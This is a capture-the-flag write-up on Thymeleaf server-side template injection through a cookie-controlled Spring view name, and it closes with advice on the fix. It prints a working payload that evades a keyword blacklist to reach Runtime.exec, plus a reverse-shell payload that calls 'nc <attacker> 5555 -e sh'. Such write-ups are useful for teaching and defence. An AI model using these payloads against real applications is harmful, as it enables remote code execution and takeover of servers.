Where the Bug Lives

Decompiling app.jar (Spring Boot 2.2 + Thymeleaf) shows a controller that builds its view name from a cookie:

@GetMapping({"/welcome"})
public String welcome(@CookieValue(value = "lang", defaultValue = "en") String lang) {
    return lang + "/welcome";     // view name is attacker-controlled
}

Returning a String from a Spring controller names a template to render. When part of that name is user input, Thymeleaf’s expression parser can be coaxed into evaluating it. This is the classic Thymeleaf fragment-expression SSTI, triggered with the __${ ... }__::fragment form.

A filter tries to keep things safe:

final String[] DANGEROUS_STRINGS = {"Runtime", "java", "class"};
// preHandle() 403s if the query string OR any cookie contains one of these

So our payload cannot contain the literal strings Runtime, java, or class.

Confirming SSTI

The fragment-expression syntax __${expr}__::.x evaluates expr. Let’s try a quick arithmetic probe. The resolved template name shows up in the error message:

curl http://host/welcome -b 'lang=__${7*7}__::.x'
# ... Error resolving template [49] ...

49 proves 7*7 was evaluated server-side. Now we escalate to code execution.

Bypassing the Blacklist

Reaching Runtime normally reads T(java.lang.Runtime), but java, Runtime, and class are all banned. Two tricks get around it:

• Split the strings so no banned substring appears literally: 'ja'+'va.lang.Runt'+'ime'.
• Get a Class object without the word class: (1).TYPE is Integer.TYPE, i.e. int.class, giving us a Class to call forName on.

Chaining forName(...).getMethod('getRu'+'ntime').invoke(null) yields the Runtime singleton, and .exec(...) runs a command:

__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("id")}__::.x

None of java / Runtime / class appear as literals, so the filter waves it through.

RCE and Flag

/bin/ash in the image has no $()//dev/tcp, so instead of a shell one-liner we spawn a reverse shell with nc -e and read the flag interactively:

__${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime').getMethod('getRu'+'ntime').invoke(null).exec("nc <attacker> 5555 -e sh")}__::.x

URL-encode it into the lang cookie against /welcome, with a listener ready:

❯ nc -nlvp 5555
listening on [any] 5555 ...
connect to ... 39643
cat flag.txt
DH{REDACTED}

Takeaways

Never let user input flow into a Spring view name. A returned String is a template selector, and Thymeleaf will happily parse an injected fragment expression as code. The blacklist here was doomed twice over: string concatenation defeats substring filters ('ja'+'va...'), and Java’s reflection surface offers many roads to the same class ((1).TYPE sidesteps the word class entirely). Fix the root cause (resolve view names from a fixed allowlist) rather than blacklisting the infinite ways to spell Runtime.